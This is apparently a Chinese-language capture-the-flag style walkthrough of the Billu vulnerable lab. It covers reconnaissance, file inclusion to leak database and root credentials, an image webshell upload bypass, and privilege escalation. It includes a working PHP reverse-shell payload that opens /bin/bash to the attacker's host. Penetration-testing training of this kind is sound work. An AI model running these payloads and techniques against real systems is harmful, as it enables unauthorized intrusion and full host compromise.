Billu靶场

信息收集

首先使用kali进行存活主机扫描

端口扫描

sudo nmap -sC -sV -p 1-10000 192.168.108.130

发现其开启了22端口 （ssh服务）、80端口（Apache）

使用dirb对其目录进行扫描

dirb http://192.168.108.130 /usr/share/dirb/wordlists/big.txt

漏洞探测

访问扫描出来的页面

先访问首页

构造万能密码

发现没有用

使用sqlmap

看来只能去访问其他目录进行尝试了

in.php

存在文件包含的漏洞

add.php

文件上传页面，但是好像不能被利用

show.php

head.php

test.php

提示file 参数无效，可能事文件包含漏洞，给他一个参数试一下

发现提示仍然错误，说明不是get传参，尝试post传参

看到文件直接可以下载下来

漏洞利用

之前目录扫描出来了一个c文件，直接访问是空白，把c.php作为参数传进去下载下来

应该是数据库的用户名和密码

ica_lab

访问/phpmy

使用c文件中的用户名和密码进行登录

成功进入了数据库管理页面

刚才使用的的数据库是ica_lab，查看三个表

uname	pass
biLLu	hEx_it

有了账号密码我们可以去登录首页

下载该页面

发现存在文件包含

下拉框选择showusers

选择adduser

该处可以上传图片文件

上传一个php文件，显示只能上传png和jpg

那只能上传图片马了

随便找一张图片，然后写一句话木马，命名为2.asp

进行上传

访问/uploaded_images,可以看到我们上传的文件

使用bp抓包

让他包含图片马试一下

发现包含图片马不成功，但是可以包含到/etc/passwd

发现是图片马的问题，使用1.png/b +1.php /1.png的方法不行，使用GIF89a绕过的方法可以

包含成功

提权

开始反弹shell

load=/uploaded_images/2.jpg&continue=continue&cmd=php+-r+'$sock%3dfsockopen("192.168.108.136",6666)%3bexec("/bin/bash+-i+<%263+>%263+2>%263")%3b'

反弹成功

查看内核版本

在kali下寻找相对应的漏洞

kali开始www服务，靶机下载源码

编译运行

提权成功

第二种思路

靶机还开启ssh服务，如果能利用文件下载或者文件包含得到主机的账户密码就可以直接shh登录了

直接使用dirbuster递归扫描目录

发现了config.inc.php是配置文件

使用文件下载

可以看到用户名和口令分别是root roottoor

我们可以直接ssh登录了

靶场小结

• 一个靶场可能存在多种渗透思路，不能局限于一种思路，该靶场就可以直接利用ssh。
• 对于图片木马的制作，可以尝试多种方法，可能一种方法不行，但另一种方法就可以。
• 要对一些目录或者文件敏感，及时发现配置文件。